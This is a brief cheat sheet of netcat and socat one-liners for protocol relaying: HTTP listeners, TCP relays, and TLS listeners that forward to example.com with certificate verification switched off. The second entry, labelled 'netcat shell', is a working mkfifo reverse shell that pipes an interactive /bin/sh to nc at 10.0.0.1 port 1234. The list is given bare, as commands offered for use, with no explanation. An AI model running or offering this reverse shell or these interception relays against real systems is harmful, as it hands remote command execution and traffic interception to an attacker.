Protocol relaying cheatsheet
netcat listen HTTP
nc -lvp 80
netcat shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
socat listen HTTP
socat -v TCP-LISTEN:80,fork,su=nobody,reuseaddr -
socat relay HTTP
socat -v TCP-LISTEN:80,fork,su=nobody,reuseaddr,keepalive TCP:example.com:80
socat listen HTTPS
socat -v openssl-listen:443,reuseaddr,fork,su=nobody,cert=server.pem,cafile=server.crt,verify=0 -
socat listen HTTPS and forward
socat -v openssl-listen:443,reuseaddr,fork,su=nobody,cert=server.pem,cafile=cacert.pem,verify=0 openssl-connect:example.com:443,verify=0